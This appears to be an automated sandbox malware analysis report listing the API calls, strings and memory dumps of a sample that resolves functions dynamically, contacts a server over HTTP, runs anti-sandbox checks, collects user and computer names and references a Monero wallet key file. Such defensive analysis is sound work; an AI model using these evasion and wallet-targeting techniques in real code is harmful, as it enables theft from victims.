LoadLibraryA.KERNEL32(007BC2D0,?,008C5CA3,008D0AEB,?,?,?,?,?,?,?,?,?,?,008D0AEA,008D0AE3), ref: 008CA095
LoadLibraryA.KERNEL32(007BC2E8,?,008C5CA3,008D0AEB,?,?,?,?,?,?,?,?,?,?,008D0AEA,008D0AE3), ref: 008CA0A7
LoadLibraryA.KERNEL32(007BC300,?,008C5CA3,008D0AEB,?,?,?,?,?,?,?,?,?,?,008D0AEA,008D0AE3), ref: 008CA0B8
GetProcAddress.KERNEL32(75840000,007A6700), ref: 008CA0DA
GetProcAddress.KERNEL32(75840000,007BC090), ref: 008CA0F2
GetProcAddress.KERNEL32(75840000,007B8A98), ref: 008CA10A
GetProcAddress.KERNEL32(75840000,007BC2A0), ref: 008CA123
GetProcAddress.KERNEL32(75840000,007A67E0), ref: 008CA13B
GetProcAddress.KERNEL32(73B90000,007AAE00), ref: 008CA160
GetProcAddress.KERNEL32(73B90000,007A6620), ref: 008CA179
GetProcAddress.KERNEL32(73B90000,007AAF68), ref: 008CA191
GetProcAddress.KERNEL32(73B90000,007BC318), ref: 008CA1A9
GetProcAddress.KERNEL32(73B90000,007BC060), ref: 008CA1C2
GetProcAddress.KERNEL32(73B90000,007A6640), ref: 008CA1DA
GetProcAddress.KERNEL32(73B90000,007A6740), ref: 008CA1F2
GetProcAddress.KERNEL32(73B90000,007BC078), ref: 008CA20B
GetProcAddress.KERNEL32(760B0000,007A6880), ref: 008CA22C
GetProcAddress.KERNEL32(760B0000,007A67C0), ref: 008CA244
GetProcAddress.KERNEL32(760B0000,007BC0A8), ref: 008CA25D
GetProcAddress.KERNEL32(760B0000,007BC048), ref: 008CA275
GetProcAddress.KERNEL32(760B0000,007A68E0), ref: 008CA28D
GetProcAddress.KERNEL32(75D30000,007AB148), ref: 008CA2B3
GetProcAddress.KERNEL32(75D30000,007AAF90), ref: 008CA2CB
GetProcAddress.KERNEL32(75D30000,007BC198), ref: 008CA2E3
GetProcAddress.KERNEL32(75D30000,007A68A0), ref: 008CA2FC
GetProcAddress.KERNEL32(75D30000,007A6840), ref: 008CA314
GetProcAddress.KERNEL32(75D30000,007AAEC8), ref: 008CA32C
GetProcAddress.KERNEL32(753A0000,007BC0F0), ref: 008CA352
GetProcAddress.KERNEL32(753A0000,007A6720), ref: 008CA36A
GetProcAddress.KERNEL32(753A0000,007B8B58), ref: 008CA382
GetProcAddress.KERNEL32(753A0000,007BC108), ref: 008CA39B
GetProcAddress.KERNEL32(753A0000,007BC180), ref: 008CA3B3
GetProcAddress.KERNEL32(753A0000,007A65E0), ref: 008CA3CB
GetProcAddress.KERNEL32(753A0000,007A65C0), ref: 008CA3E4
GetProcAddress.KERNEL32(753A0000,007BC138), ref: 008CA3FC
GetProcAddress.KERNEL32(753A0000,007BC150), ref: 008CA414
GetProcAddress.KERNEL32(76DA0000,007A66A0), ref: 008CA436
GetProcAddress.KERNEL32(76DA0000,007BC168), ref: 008CA44E
GetProcAddress.KERNEL32(76DA0000,007BC1B0), ref: 008CA466
GetProcAddress.KERNEL32(76DA0000,007BC1C8), ref: 008CA47F
GetProcAddress.KERNEL32(76DA0000,007BC1E0), ref: 008CA497
GetProcAddress.KERNEL32(77300000,007A6800), ref: 008CA4B8
GetProcAddress.KERNEL32(77300000,007A6820), ref: 008CA4D1
GetProcAddress.KERNEL32(767E0000,007A6600), ref: 008CA4F2
GetProcAddress.KERNEL32(767E0000,007BC450), ref: 008CA50A
GetProcAddress.KERNEL32(6F8E0000,007A6660), ref: 008CA530
GetProcAddress.KERNEL32(6F8E0000,007A67A0), ref: 008CA548
GetProcAddress.KERNEL32(6F8E0000,007A6760), ref: 008CA560
GetProcAddress.KERNEL32(6F8E0000,007BC600), ref: 008CA579
GetProcAddress.KERNEL32(6F8E0000,007A6680), ref: 008CA591
GetProcAddress.KERNEL32(6F8E0000,007A6860), ref: 008CA5A9
GetProcAddress.KERNEL32(6F8E0000,007A68C0), ref: 008CA5C2
GetProcAddress.KERNEL32(6F8E0000,007A6900), ref: 008CA5DA
GetProcAddress.KERNEL32(6F8E0000,InternetSetOptionA), ref: 008CA5F1
GetProcAddress.KERNEL32(6F8E0000,HttpQueryInfoA), ref: 008CA607
GetProcAddress.KERNEL32(75760000,007BC3D8), ref: 008CA629
GetProcAddress.KERNEL32(75760000,007B89B8), ref: 008CA641
GetProcAddress.KERNEL32(75760000,007BC480), ref: 008CA659
GetProcAddress.KERNEL32(75760000,007BC5A0), ref: 008CA672
GetProcAddress.KERNEL32(762C0000,007A66C0), ref: 008CA693
GetProcAddress.KERNEL32(6D6E0000,007BC378), ref: 008CA6B4
GetProcAddress.KERNEL32(6D6E0000,007A66E0), ref: 008CA6CD
GetProcAddress.KERNEL32(6D6E0000,007BC618), ref: 008CA6E5
GetProcAddress.KERNEL32(6D6E0000,007BC4E0), ref: 008CA6FD

Strings

ez, xrefs: 008CA3BE
@hz, xrefs: 008CA307
`dz, xrefs: 008C9E4F
HttpQueryInfoA, xrefs: 008CA5FC
@gz, xrefs: 008CA1E5
dz, xrefs: 008C9DD6
fz, xrefs: 008CA16B
hz, xrefs: 008CA4C3
@bz, xrefs: 008C9D44
hz, xrefs: 008CA280
cz, xrefs: 008C9D2B
`fz, xrefs: 008CA522
ez, xrefs: 008C9D5C
gz, xrefs: 008CA12E
@fz, xrefs: 008CA1CD
fz, xrefs: 008CA6BF
`gz, xrefs: 008CA553
cz, xrefs: 008C9C20
`hz, xrefs: 008CA59C
gz, xrefs: 008CA35D
InternetSetOptionA, xrefs: 008CA5E5

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: cz$ dz$ ez$ fz$ gz$ hz$@bz$@fz$@gz$@hz$HttpQueryInfoA$InternetSetOptionA$`dz$`fz$`gz$`hz$cz$ez$fz$gz$hz
API String ID: 2238633743-1470533211
Opcode ID: 97eddf3d2d878d223af2d9d0bf25d9ddc1dc7b356641e2682c94f49667b8dd5f
Instruction ID: bf764a63f05376884bf18ed6a04f347326cd1a43f9d7d062864f8df4465fbedc
Opcode Fuzzy Hash: 97eddf3d2d878d223af2d9d0bf25d9ddc1dc7b356641e2682c94f49667b8dd5f
Instruction Fuzzy Hash: B76217F6600201AFC344EBE9ED88DF67BF9F7AC341714851AA60DC3264D679A843DB52

Function 008B6280 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008CA7E6

Part of subcall function 008B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 008B4839
Part of subcall function 008B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 008B4849

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

InternetOpenA.WININET(008D0DFE,00000001,00000000,00000000,00000000), ref: 008B62E1
StrCmpCA.SHLWAPI(?,007BE270), ref: 008B6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 008B6335
HttpOpenRequestA.WININET(00000000,GET,?,007BD9C8,00000000,00000000,00400100,00000000), ref: 008B6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 008B63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 008B63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 008B63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 008B646D
InternetCloseHandle.WININET(00000000), ref: 008B64EF
InternetCloseHandle.WININET(00000000), ref: 008B64F9
InternetCloseHandle.WININET(00000000), ref: 008B6503

Strings

ERROR, xrefs: 008B64C9
GET, xrefs: 008B637C
p{, xrefs: 008B62F8
ERROR, xrefs: 008B6407

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET$p{
API String ID: 3749127164-3508196275
Opcode ID: 1b36a623f0208cc0e16b73c1e96062d2010e19a5c899bd0a27cba3fbea9a6db9
Instruction ID: 41e05542c1099938d1d0bc5d37b53633a1015b165f457ee453f1eedb2a64f0fe
Opcode Fuzzy Hash: 1b36a623f0208cc0e16b73c1e96062d2010e19a5c899bd0a27cba3fbea9a6db9
Instruction Fuzzy Hash: 38710F71A00218ABDB24DFE4DC59FEE7774FB44704F108159F509AB290EBB4AA85CF52

Function 008C5510 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008CA820: lstrlen.KERNEL32(008B4F05,?,?,008B4F05,008D0DDE), ref: 008CA82B
Part of subcall function 008CA820: lstrcpy.KERNEL32(008D0DDE,00000000), ref: 008CA885

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 008C5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 008C56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 008C5857

Part of subcall function 008CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008CA7E6

Part of subcall function 008C51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 008C5228

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

Part of subcall function 008C52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 008C5318
Part of subcall function 008C52C0: lstrlen.KERNEL32(00000000), ref: 008C532F
Part of subcall function 008C52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 008C5364
Part of subcall function 008C52C0: lstrlen.KERNEL32(00000000), ref: 008C5383
Part of subcall function 008C52C0: lstrlen.KERNEL32(00000000), ref: 008C53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 008C578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 008C5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 008C5A0C
Sleep.KERNEL32(0000EA60), ref: 008C5A1B

Strings

ERROR, xrefs: 008C5693
ERROR, xrefs: 008C5932
ERROR, xrefs: 008C59FE
ERROR, xrefs: 008C577D
bz, xrefs: 008C5585, 008C55E3
ERROR, xrefs: 008C5636
ERROR, xrefs: 008C5849

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$bz
API String ID: 507064821-2187572780
Opcode ID: 3902c31b7918aae3db904cb032a9d2db7c86369f65f5394981e60ba34187b100
Instruction ID: a20320b65cebf7b4b97364a64cc38eb8ccb59bb28320f06ee1476d7f0d2dd83a
Opcode Fuzzy Hash: 3902c31b7918aae3db904cb032a9d2db7c86369f65f5394981e60ba34187b100
Instruction Fuzzy Hash: B6E1EC719101089BCB18FBA8EC96FED7378FB54344F50852CA506D6191EF34AA4ACBA3

Function 008C17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 008C17C5
ExitProcess.KERNEL32 ref: 008C17D1

Strings

block, xrefs: 008C17B7

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: cc3c5ad5001a36cf9b8226228ea46a64d4ef230eccfd0df43c7cc492fcdc4036
Instruction ID: 9780c00e8e9f1f9c1abde11d2254fa2257fc3cf67d552afdad1289857b54cc01
Opcode Fuzzy Hash: cc3c5ad5001a36cf9b8226228ea46a64d4ef230eccfd0df43c7cc492fcdc4036
Instruction Fuzzy Hash: 9D5145B4A04209ABCB04DFA0D998FBE7BB5FB45708F10815DE40AE7341D774E946CB62

Function 008C7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 008C7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 008C757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 008C7603
RtlAllocateHeap.NTDLL(00000000), ref: 008C760A
wsprintfA.USER32 ref: 008C7640

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Strings

:, xrefs: 008C755C
C, xrefs: 008C754C
\, xrefs: 008C7560

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 9b73c9645b7f79644d15e566aa439dccaf401ea281f9c61836ac4a316e3c0079
Instruction ID: 8a3f06434345684e9d63fa7c2b983055f1a6f31c98ae76462ab27a6bafb7698f
Opcode Fuzzy Hash: 9b73c9645b7f79644d15e566aa439dccaf401ea281f9c61836ac4a316e3c0079
Instruction Fuzzy Hash: E54150B1904258ABDB10DBD8DC45FEEBBB8FB18714F104199F509A7280D774AA44CFA6

Function 008C69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008C9860: GetProcAddress.KERNEL32(76F70000,007B0708), ref: 008C98A1
Part of subcall function 008C9860: GetProcAddress.KERNEL32(76F70000,007B0720), ref: 008C98BA
Part of subcall function 008C9860: GetProcAddress.KERNEL32(76F70000,007B0540), ref: 008C98D2
Part of subcall function 008C9860: GetProcAddress.KERNEL32(76F70000,007B0570), ref: 008C98EA
Part of subcall function 008C9860: GetProcAddress.KERNEL32(76F70000,007B0738), ref: 008C9903
Part of subcall function 008C9860: GetProcAddress.KERNEL32(76F70000,007B8B18), ref: 008C991B
Part of subcall function 008C9860: GetProcAddress.KERNEL32(76F70000,007A6440), ref: 008C9933
Part of subcall function 008C9860: GetProcAddress.KERNEL32(76F70000,007A6360), ref: 008C994C
Part of subcall function 008C9860: GetProcAddress.KERNEL32(76F70000,007B0768), ref: 008C9964
Part of subcall function 008C9860: GetProcAddress.KERNEL32(76F70000,007B0780), ref: 008C997C
Part of subcall function 008C9860: GetProcAddress.KERNEL32(76F70000,007B07C8), ref: 008C9995
Part of subcall function 008C9860: GetProcAddress.KERNEL32(76F70000,007B05B8), ref: 008C99AD
Part of subcall function 008C9860: GetProcAddress.KERNEL32(76F70000,007A6200), ref: 008C99C5
Part of subcall function 008C9860: GetProcAddress.KERNEL32(76F70000,007B07E0), ref: 008C99DE

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008B11D0: ExitProcess.KERNEL32 ref: 008B1211

Part of subcall function 008B1160: GetSystemInfo.KERNEL32(?), ref: 008B116A
Part of subcall function 008B1160: ExitProcess.KERNEL32 ref: 008B117E

Part of subcall function 008B1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 008B112B
Part of subcall function 008B1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 008B1132
Part of subcall function 008B1110: ExitProcess.KERNEL32 ref: 008B1143

Part of subcall function 008B1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 008B123E
Part of subcall function 008B1220: __aulldiv.LIBCMT ref: 008B1258
Part of subcall function 008B1220: __aulldiv.LIBCMT ref: 008B1266
Part of subcall function 008B1220: ExitProcess.KERNEL32 ref: 008B1294

Part of subcall function 008C6770: GetUserDefaultLangID.KERNEL32 ref: 008C6774

Part of subcall function 008B1190: ExitProcess.KERNEL32 ref: 008B11C6

Part of subcall function 008C7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,008B11B7), ref: 008C7880
Part of subcall function 008C7850: RtlAllocateHeap.NTDLL(00000000), ref: 008C7887
Part of subcall function 008C7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 008C789F

Part of subcall function 008C78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 008C7910
Part of subcall function 008C78E0: RtlAllocateHeap.NTDLL(00000000), ref: 008C7917
Part of subcall function 008C78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 008C792F

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,007B8A28,?,008D110C,?,00000000,?,008D1110,?,00000000,008D0AEF), ref: 008C6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 008C6AE8
CloseHandle.KERNEL32(00000000), ref: 008C6AF9
Sleep.KERNEL32(00001770), ref: 008C6B04
CloseHandle.KERNEL32(?,00000000,?,007B8A28,?,008D110C,?,00000000,?,008D1110,?,00000000,008D0AEF), ref: 008C6B1A
ExitProcess.KERNEL32 ref: 008C6B22

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 28fe70555c6341785da8a053089c1ab61ee62a5f132b5b4b0a8c08b65c097ea0
Instruction ID: cd8fc680aafa9f5232e88600f0783fcc591c08c447f481e46f2131d586a58696
Opcode Fuzzy Hash: 28fe70555c6341785da8a053089c1ab61ee62a5f132b5b4b0a8c08b65c097ea0
Instruction Fuzzy Hash: 6D31A971900108AADB08F7E8E856FEE7778FB14744F504528F512E6291EF74A905CAA7

Function 008B1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 008B123E
__aulldiv.LIBCMT ref: 008B1258
__aulldiv.LIBCMT ref: 008B1266
ExitProcess.KERNEL32 ref: 008B1294

Strings

@, xrefs: 008B1233

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
